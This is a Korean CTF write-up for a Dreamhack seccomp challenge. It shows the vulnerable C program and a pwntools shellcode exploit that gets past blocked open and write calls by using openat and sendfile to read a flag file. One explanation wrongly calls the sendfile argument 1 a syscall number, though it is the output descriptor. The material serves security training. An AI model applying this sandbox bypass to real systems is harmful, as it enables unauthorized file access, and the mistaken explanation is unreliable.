1. Description
![](https://velog.velcdn.com/images/securitykss/post/9225e76e-8b71-4e91-bdee-1fb379a2e8c7/image.png)
2. Check
2.1 C code
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void sandbox() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);
seccomp_load(ctx);
}
int main(int argc, char *argv[]) {
void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_SHARED | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
memset(shellcode, 0, 0x1000);
printf("shellcode: ");
read(0, shellcode, 0x1000);
sandbox();
sc = (void *)shellcode;
sc();
}
code description
init()은 생략
sandbox()에서 ALLOW 리스트 기반으로, 시스템 명령어를 실행하는 open, execve, execveat, write 함수들을 막아놨다.
main()에서는 shellcode를 입력하고 실행한다.
2.2 file
![](https://velog.velcdn.com/images/securitykss/post/c72f76f7-fa90-4386-a9d0-98ad3697dbe2/image.png)
2.3 checksec
![](https://velog.velcdn.com/images/securitykss/post/35ebd8ac-9cf7-40f4-a097-66db0025520d/image.png)
3. Design
open이 막혀있으니 openat 함수를 shellcode에 넣고,
write가 막혀 있으니, sendfile 함수를 사용해서 write 대신 shellcode에 입력할 것이다.
4. Exploit
4.1 exploit code
from pwn import *
p =remote("host3.dreamhack.games", 19550)
context.log_level = "DEBUG"
context.arch = 'x86_64'
shellcode = shellcraft.openat(0, "/home/bypass_syscall/flag")
shellcode += shellcraft.sendfile(1, 'rax', 0).replace("xor r10d, r10d", "mov r10d, 0xffff")
shellcode += shellcraft.exit(0)
p.sendlineafter("shellcode: ", asm(shellcode))
p.interactive()
4.2 code description
설명이 중요한 부분은
sendfile 다음에 인자들 인데, sendfile(1, 'rax', 0).replace("xor r10d, r10d", "mov r10d, 0xffff")를 보면
1은 write syscall 번호이고, 'rax'는 openat에서 구한 file 경로("/home/bypass_syscall/flag")(읽을 파일 내용)가 들어있어 넣었고
0는 offset 설정
그 다음 replace 함수로, "xor r10d, r10d"가 있는 경우, "mov r10d, 0xffff"로 바꾸라는 의미이다.
함수 호출규약의 4번째 인자는 r10으로 받기 때문에, 저 xor이 있는 경우 count가 0이 되므로 "mov r10d, 0xffff"로 대체하면 count 하는 값이 커져서
sendfile이 잘 실행될 것이다.
4.3 result
![](https://velog.velcdn.com/images/securitykss/post/40e9a219-9d09-487d-a4e8-18a722fd4f19/image.png)
flag를 획득했다.
Reference